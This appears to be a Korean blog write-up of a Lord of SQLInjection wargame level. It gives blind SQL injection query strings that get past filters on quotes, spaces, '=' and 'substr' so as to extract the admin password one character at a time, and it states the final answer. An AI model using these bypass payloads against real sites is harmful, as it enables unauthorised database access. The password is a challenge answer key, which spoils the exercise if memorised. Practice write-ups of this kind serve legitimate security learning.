티스토리 뷰
id = "admin" 인 계정의 pw를 알아내야 하는 문제이다.
pw 는 싱글쿼터에 대한 필터링이 되어있고,
no는 substr, =, or, and, 공백, like 등에 대해 필터링이 되어있다.
일단 admin의 pw 길이를 알아내야 한다!
필터링 우회를 위해
싱글 쿼터 -> 더블 쿼터
or -> ||
and -> %26
공백 -> %09, %0a
= -> in
으로 대체 하였다.
?no=""||id%09in("admin")%26%26length(pw)%09in%09(8)
위와 같이 입력하면 Hello admin이 출력된다. pw의 길이는 8이다.
pw의 길이를 알아냈으니, pw의 각 자리를 알아내야 한다.
지금까지는 substr을 이용했지만 필터링이 되어있기 때문에, mid를 이용하였다.
?no=""||id%0ain("admin")%26%26mid(pw,1,1)%09in%09(7)
를 입력했을때, Hello admin이 출력된다. pw의 첫 번째 자리는 7이다!
바로 위의 과정을 반복하는 것이 너무 비효율적이라 파이썬으로 코딩해서 pw를 얻어냈다.
73502773을 입력했는데 클리어가 안된다. 구글에 풀이법을 검색해봤더니, 735c2773이 정답이라고 한다.
그래서
?no=""||id%0ain("admin")%26%26mid(pw,4,1)%09in%09(0)
?no=""||id%0ain("admin")%26%26mid(pw,4,1)%09in%09("c")
를 입력해봤는데, 둘다 Hello admin이 출력된다.
내가 잘못 된건지, 문제가 잘못 된건지는 잘 모르겠다.
735c2773을 입력하면 클리어
'hacking > LOS' 카테고리의 다른 글
<LOS> - 15번(assassin) (0) | 2018.04.29 |
---|---|
<LOS> - 14번(giant) (0) | 2018.04.29 |
<LOS> - 12번(darkknight) (0) | 2018.04.09 |
<LOS> - 11번(golem) (0) | 2018.04.09 |
<LOS> - 10번(skeleton) (0) | 2018.04.09 |